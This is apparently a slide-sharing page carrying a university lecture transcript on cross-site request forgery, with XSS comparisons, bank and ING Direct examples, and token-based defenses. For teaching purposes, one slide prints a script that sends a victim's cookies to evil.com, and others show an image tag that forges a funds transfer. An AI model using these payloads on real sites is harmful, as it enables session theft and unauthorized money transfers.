Cross-site Request Forgery (CSRF) Attacks

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Ben Livshits and Úlfar Erlingsson Microsoft Research.
Past, Present and Future By Eoin Keary and Jim Manico
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
© 2009 IBM Corporation IBM Rational Application Security The Bank Job Utilizing XSS Vulnerabilities Adi Sharabani IBM Rational Application Security Research.
© 2008 Security Compass inc. 1 Firefox Plug-ins for Application Penetration Testing Exploit-Me.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
Xiao Zhang and Wenliang Du Dept. of Electrical Engineering & Computer Science Syracuse University.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Session Hijacking Why web security depends on communications security and how TLS everywhere is the only solution. Scott Helme - 6th Aug scotthel.me.
1 Configuring Internet- related services (April 22, 2015) © Abdou Illia, Spring 2015.
EECS 354 Network Security Cross Site Scripting (XSS)
Cross Site Scripting a.k.a. XSS Szymon Siewior. Disclaimer Everything that will be shown, was created for strictly educational purposes. You may reuse.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Exploits: XSS, SQLI, Buffer Overflow
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Web Application Attacks ECE 4112 Fall 2007 Group 9 Zafeer Khan & Simmon Yau.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Martin Kruliš by Martin Kruliš (v1.0)1.
Copyright© 2002 Avaya Inc. All rights reserved Advanced Cross Site Scripting Evil XSS Anton Rager.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Prevent Cross-Site Scripting (XSS) attack
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Robust Defenses for Cross-Site Request Forgery CS6V Presented by Saravana M Subramanian.
JavaScript, Fourth Edition
Cross-Site Attacks James Walden Northern Kentucky University.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Foundations of Network and Computer Security J J ohn Black CSCI 6268/TLEN 5550, Spring 2013.
Robust Defenses for Cross-Site Request Forgery
The attacks ● XSS – type 1: non-persistent – type 2: persistent – Advanced: other keywords (, prompt()) or other technologies such as Flash.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
1 Robust Defenses for Cross-Site Request Forgery Adam Barth, Collin Jackson, John C. Mitchell Stanford University 15th ACM CCS.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
THE DEVIL IS IN THE (IMPLEMENTATION) DETAILS: AN EMPIRICAL ANALYSIS OF OAUTH SSO SYSTEMS SAN-TSAI SUN & KONSTANTIN BEZNOSOV PRESENTED BY: NAZISH KHAN COMPSCI.
Chapter 16 The World Wide Web. FIGURE 16.0.F01: A very, very simple Web page. Courtesy of Dr. Richard Smith.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
COMP9321 Web Application Engineering Semester 2, 2015 Dr. Amin Beheshti Service Oriented Computing Group, CSE, UNSW Australia Week 9 1COMP9321, 15s2, Week.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
CSRF Attacks Daniel Chen 11/18/15. What is CSRF?  Cross Site Request Forgery (Sea-Surf)  AKA XSRF/ One Click / Sidejacking / Session Riding  Exploits.
Session Management Tyler Moore CS7403 University of Tulsa Slides adapted in part or whole from Dan Boneh, Stanford CS155 1.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
COMP9321 Web Application Engineering Semester 2, 2017
Building Secure ColdFusion Applications
Tonga Institute of Higher Education IT 141: Information Systems
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
World Wide Web policy.
Cross-Site Forgery
Cross-Site Request Forgeries: Exploitation and Prevention
Tonga Institute of Higher Education IT 141: Information Systems
Riding Someone Else’s Wave with CSRF
CSC 495/583 Topics of Software Security Intro to Web Security
Cross-Site Request Forgery (CSRF) Attack Lab
Configuring Internet-related services
Tonga Institute of Higher Education IT 141: Information Systems
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Advanced Cross Site Scripting Evil XSS
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Presentation transcript:

Cross-site Request Forgery (CSRF) Attacks Vijay Ganesh University of Waterloo Winter 2013

Today’s Lecture Cross-site Request Forgery (CSRF) Attacks What is a Cross-site Request Forgery (CSRF) attack? How they differ from XSS attacks Examples and potential for damage Measures that do not work Methods to prevent/protect against such attacks Server-side to prevent CSRF attacks Client-side to protect against CSRF attacks

What is CSRF and Why Should you Care? When a malicious website causes a user’s browser to perform unwanted actions on a trusted website Called the “sleeping giants of web vulnerabilities” - Zeller & Felten 2008 Sometimes also referred to as XSRF attacks, confused deputy, session riding,.. The percentage of CSRF is 20% of all Web vulnerabilities in 2012* High profile attacks: Ebay’s Korea website was attacked in 2008 with 18 million users lost personal information Mexico bank attack in 2008 caused lost of account information * https://www.whitehatsec.com/resource/stats.html

XSS vs. CSRF CSRF (Cross-site request forgery) When a malicious website causes a user’s browser to perform unwanted actions on a trusted website Examples: Transfer money out of user’s account, harvest user ids, compromise user accounts XSS (Cross-site scripting) Malicious website leverages bugs in trusted website to cause unwanted action on user’s browser (circumventing the same-origin policy) Examples: Reading cookies, authentication information, code injection Unlike XSS, which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser Techniques that protect against XSS will not necessarily work for CSRF

High-level View of How CSRF Works Reference: Zeller & Felten 2008

XSRF (aka CSRF): Summary Server victim establish session 1 send forged request 4 2 visit server 3 User victim receive malicious page Attack server Q: how long do you stay logged on to the Bank? slide 6

XSS: Cross-Site Scripting Echoes user’s name: <HTML>Hello, dear … </HTML> victim’s browser naive.com evil.com hello.cgi Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( “http://evil.com/steal.cgi? cookie=”+document.cookie) </script>> GET/ hello.cgi?name= <script>win.open(“http:// evil.com/steal.cgi?cookie”+ document.cookie)</script> hello.cgi executed <HTML>Hello, dear <script>win.open(“http:// evil.com/steal.cgi?cookie=” +document.cookie)</script> Welcome!</HTML> Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com Forces victim’s browser to call hello.cgi on naive.com with this script as “name” GET/ steal.cgi?cookie=

CSRF Attack: Bank Example* Transfer money from one account to another When the “Continue” button is pressed, an http POST request is submitted by the user browser to the server (bank) Example courtesy https://www.whitehatsec.com

CSRF Attack: Bank Example* GET If the request was successful, $5,000 would be transferred from account “314159265” to account “01123581.” What’s interesting is that many Web applications, such as transfer_funds.cgi, do not distinguish between parameters sent using GET or POST. In other words, the same request with POST replaced with GET is completely legit as far as the server is concerned Example courtesy https://www.whitehatsec.com

CSRF Attack: Bank Example* Attacker website has an image with the above tag The image forces the user’s browser a “forged request” with the specified URL, and if the customer is logged into the bank, money will be transferred from 314159265 to “1618” The forged request is a GET request with body similar to the POST request Example courtesy https://www.whitehatsec.com

CSRF: Bank Example transfer.cgi transfer.cgi executed victim’s browser Transfer funds from one account to another victim’s browser Webbank.com evil.com transfer.cgi Access some web page <IMG SRC=http://webbank/transfer_funds.cgi? from=314159265&to=1618&amount=5000&date=11072006&re=0>unt=5000&date=11072006&re=0> > POST/transfer.cgi?from= 314159265&to=01123581&amount=5000 transfer.cgi executed Forces victim’s browser to call transfer.cgi on webbank.com without proper permissions GET/transfer.cgi?from= 314159265&to=01123581&amount=5000 The image-tag from evil.com forces a FORGED GET request to be sent to Bank by victim’s browser.

What can we Learn from the CSRF Bank Attack Example? CSRF attack: When a malicious website causes a user’s browser to perform unwanted actions on a trusted website Necessary condition for attack to take place The user must be capable of executing “unwanted” actions on trusted website, i.e., have implicit authentication The trusted website only checks that an action came from an authenticated user’s browser, and not the user itself (i.e., no way to check if user authorized the action) The user must be social-engineered to visit malicious website during the authenticated session with the trusted website In this particular example, the attacker had to know the “from” account number as well

Can the use of SSL prevent CSRF? Not necessarily Goes back to implicit authentication The user’s browser records session information when she is connected to trusted site the first time Any subsequent requests sent by the browser are “helpfully” appended with session information Username, password, or SSL certificates Hence, SSL does not necessarily protect the user against CSRF A sure shot way is for the user to authenticate every request. No implicit authentication. Such an approach will make browsers unusable

POST request-based CSRF In the bank example we saw the CSRF employed a forged GET request It is possible to execute a CSRF with a POST request Why care? Some sites only accept POST requests Executing a POST-based CSRF requires JavaScript Dynamically creates appropriate POST request

Another Example: GET and POST CSRF Actual attack discovered by Zeller and Felten on INGDirect.com Multinational company with $62 Billion in assets and 4.1 million customers The attack Allowed an attacker to open additional accounts on behalf of a user and transfer funds from a user’s account to the attacker’s account The bank site’s use of SSL didn’t prevent the attack First published CSRF on a financial institution (2008)

Ingdirect.com Attack: GET and POST CSRF Step 0: Assume user is already authenticated to ingdirect.com’s site, and visits evil.com controlled by attacker Assume attacker has JavaScript on his evil.com, and JavaScript engine is enabled on user’s browser. JavaScript is needed to create POST requests Step 1: The attacker creates checking account on behalf of the user The attacker causes the user’s browser to visit ING’s “open new account” page using an SRC tag on an image on evil.com A forged GET request to https://secure.ingdirect.com/myaccount/ INGDirect.html?command= gotoOpenOCA

Ingdirect.com Attack: GET and POST CSRF Step 2: Causes a “single” account to be created using an appropriate POST command that is generated by JavaScript loaded into user’s browser from evil.com Step 3: The attacker chooses an arbitrary amount of money to initially transfer from the user’s savings account to the new, fraudulent account A POST request to https://secure. ingdirect.com/myaccount/ INGDirect.html with the appropriate parameters Step 4: The attacker causes the user’s browser to click the final “Open Account” button, causing ING to open a new checking account on behalf of the user using an appropriate POST Step 5: The attacker adds himself as a payee to the user’s account, transfers money

Preventing CSRF Server-side Protection Allow GET request to only retrieve data and not modify data on the server Require all POSTs requests to contain a pseudo-random value Trusted site generates pseudo-random value R, and sets it as a cookie on user’s browser Every form submission (POST) to include R Request valid only if form value == cookie value

Preventing CSRF Server-side Protection Assume that the attacker cannot modify cookie values or read data sent from server to user (same origin policy), i.e., does not know R. Hence, cannot forge appropriate requests through his evil.com website We assume R is hash value of session credentials and some random data Sources: Zeller&Felten paper and https://www.whitehatsec.com/resource/stats.html

XSS vs. CSRF CSRF (Cross-site request forgery) When a malicious website causes a user’s browser to perform unwanted actions on a trusted website Leverages implicit authentication in user’s browser XSS (Cross-site scripting) Malicious website leverages bugs in trusted website to cause unwanted action on user’s browser (circumventing the same-origin policy) Leverages bugs on naïve.com Techniques that protect against XSS: filter content posted on websites for scripts. Does not directly help protect against CSRF. Why? If site is vulnerable to XSS, it is vulnerable to CSRF Why? Session credentials can be stolen using XSS, and then launch a CSRF.